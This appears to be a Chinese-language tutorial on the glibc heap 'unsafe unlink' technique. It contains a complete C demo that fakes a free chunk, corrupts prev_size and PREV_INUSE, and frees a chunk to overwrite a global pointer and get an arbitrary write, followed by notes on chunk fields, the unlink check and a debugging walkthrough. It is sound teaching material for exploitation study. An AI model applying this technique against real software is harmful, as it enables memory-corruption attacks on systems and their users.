这个程序展示了怎样利用 free 改写全局指针 chunk0_ptr 达到任意内存写的目的,即 unsafe unlink
源码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
uint64_t *chunk0_ptr;
int main()
{
fprintf(stderr, "当您在已知位置有指向某个区域的指针时,可以调用 unlink\n");
fprintf(stderr, "最常见的情况是易受攻击的缓冲区,可能会溢出并具有全局指针\n");
int malloc_size = 0x80; //要足够大来避免进入 fastbin
int header_size = 2;
fprintf(stderr, "本练习的重点是使用 free 破坏全局 chunk0_ptr 来实现任意内存写入\n\n");
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
fprintf(stderr, "全局变量 chunk0_ptr 在 %p, 指向 %p\n", &chunk0_ptr, chunk0_ptr);
fprintf(stderr, "我们想要破坏的 chunk 在 %p\n", chunk1_ptr);
fprintf(stderr, "在 chunk0 那里伪造一个 chunk\n");
fprintf(stderr, "我们设置 fake chunk 的 'next_free_chunk' (也就是 fd) 指向 &chunk0_ptr 使得 P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
fprintf(stderr, "我们设置 fake chunk 的 'previous_free_chunk' (也就是 bk) 指向 &chunk0_ptr 使得 P->bk->fd = P.\n");
fprintf(stderr, "通过上面的设置可以绕过检查: (P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
fprintf(stderr, "Fake chunk 的 fd: %p\n",(void*) chunk0_ptr[2]);
fprintf(stderr, "Fake chunk 的 bk: %p\n\n",(void*) chunk0_ptr[3]);
fprintf(stderr, "现在假设 chunk0 中存在一个溢出漏洞,可以更改 chunk1 的数据\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
fprintf(stderr, "通过修改 chunk1 中 prev_size 的大小使得 chunk1 在 free 的时候误以为 前面的 free chunk 是从我们伪造的 free chunk 开始的\n");
chunk1_hdr[0] = malloc_size;
fprintf(stderr, "如果正常的 free chunk0 的话 chunk1 的 prev_size 应该是 0x90 但现在被改成了 %p\n",(void*)chunk1_hdr[0]);
fprintf(stderr, "接下来通过把 chunk1 的 prev_inuse 改成 0 来把伪造的堆块标记为空闲的堆块\n\n");
chunk1_hdr[1] &= ~1;
fprintf(stderr, "现在释放掉 chunk1,会触发 unlink,合并两个 free chunk\n");
free(chunk1_ptr);
fprintf(stderr, "此时,我们可以用 chunk0_ptr 覆盖自身以指向任意位置\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
fprintf(stderr, "chunk0_ptr 现在指向我们想要的位置,我们用它来覆盖我们的 victim string。\n");
fprintf(stderr, "之前的值是: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
fprintf(stderr, "新的值是: %s\n",victim_string);
}
chunk
在调试之前我们先回顾一下chunk的成员变量
prev_size
- 如果本 chunk 前面一个 chunk 处于释放状态,那么 prev_size 成员才有用,此时用来记录前一个 chunk 的大小。
- 如果本 chunk 前面一个 chunk 处于使用状态,那么 prev_size 成员为 0 是没有用的;但是当前一个 chunk 申请的大小大于前一个 chunk 的大小时,那么该字段可以用来给前一个 chunk 使用这就是 chunk 的空间复用,这就是 off_by_one 的前提。
fd 、bk
- chunk 处于使用状态时,从 fd 字段开始是用户的数据,fd 和 bk都不存在。
- chunk 释放状态时,会被添加到对应的空闲管理链表中,其字段的含义如下
- fd 指向上一个 free 的 chunk 的 prev_size
- bk 指向下一个 free 的 chunk 的 prev_size
- 通过 fd 和 bk 可以将空闲的 chunk 块加入到相应的链表进行统一管理
fd_nextsize、bk_nextsize
- 也是只有chunk空闲的时候才使用,不过其用于较大的chunk(large chunk):
- fd_nextsize:指向前一个与当前 chunk 大小不同的第一个空闲块,不包含bin的头指针。
- bk_nextsize:指向后一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
- 一般空闲的 large chunk 在 fd 的遍历顺序中,按照由大到小排列。便于寻找合适 chunk 。
size 低3位
Chunk的对齐:
该 chunk 的大小,大小必须是 2 SIZE_SZ 的整数倍。如果申请的内存大小不是 2 SIZE_SZ 的整数倍,会被转换满足大小的最小的 2 * SIZE_SZ 的倍数。32 位系统中,SIZE_SZ 是 4;64 位系统中,SIZE_SZ 是 8。 该字段的低三个比特位对 chunk 的大小没有影响。
8字节对齐就导致了size的低3位固定位0,然后为了充分利用内存空间,这低三位的储存了其他信息:
分别是 PREV_INUSE;IS_MMAPPED;NON_MAIN_ARENA
-
NON_MAIN_ARENA: 记录chunk是否属于不主线程,若为1则不属于,0则属于。
-
IS_MMAPPED: 1 表示使用mmap映射区域,0为使用heap区域。
-
PREV_INUSE: 为1时表示上一个chunk在使用中,0表示上一个chunk已经释放
漏洞利用思路
首先,申请两个chunk,chunk0 和 chunk1
从 chunk0 写 fd 和 bk,fd 指向目标地址-0x18,bk 指向目标地址-0x10,使得 chunk0_fd->bk 和 chunk0_bk->fd 都指向chunk0。
再 free 掉 chunk1,chunk1 和 chunk0 合并,也就是将 chunk0 从bin链中取出,即触发 unlink。
按照 unlink 赋值的顺序,目标地址会被写为 chunk0_fd
简要代码:
#define unlink(P, BK, FD)
{
FD = P->fd;
BK = P->bk;
if(FD->bk != P || BK->fd !=p)
{
malloc_printerr (check_action, "corrupted d...", P);
}
else
{
FD->bk = BK;
BK->fd = FD;
}
}
调试过程
虚拟机环境:
kali\:202.4
patchelf更改libc\:libc-2.23.so
ulink 有一个保护检查机制,他会检查这个 chunk 的前一个 chunk 的 bk 指针是不是指向这个 chunk(后一个也一样)
先在 main 函数上设置一个断点,然后单步走一下,走到第 13 行(不包括)
首先运行结果:
可以看到确实漏洞漏洞利用成功的。
再申请两个chunk处下断点
两个0x91的chunk,没有问题
下面是在写入 chunk0 的 fd 和 bk,修改 chunk1 的 prev_inuse 和 prev_size 后,free 掉 chunk1 之前。
这里看一下目标位置的情况
此时 fake chunk(也就是改写后的chunk0)的 fd 和 bk 所指向的地方,分别视为两个 fake chunk1(2) 时,即 fake chunk1_bk -> fake chunk ,fake_chunk2_fd -> fake chunk。
也就是说目标地址分别作为了 fake chunk1_bk 和 fake_chunk2_fd。
就通过了检测:在解链操作之前,针对堆块P自身的FD和BK检查了链表的完整性,即判断堆块 P 的前一块 FD块的bk指针是否指向 P,以及后一块BK的fd指针是否指向 P。
这时候呢,就构造成了一个链:
fake chunk1 => 目标地址 => fake_chunk2
当 free 掉 chunk1 时,chunk0 将于 chunk1 合并,类似于把 chunk0 从 bin 链中取出,这个取出就触发 unlink 。使得 fake chunk1 与 fake chunk2 链接
fake chunk1_bk = chunk0_bk
fake chunk2_fd = chunk0_fd
chunk0_ptr 就被改写为了,上面的 fd 指向的 chunk0_ptr-0x18,即可实现向 chunk0_ptr 写入内容,以及修改 chunk0_ptr 本身,即任意地址写。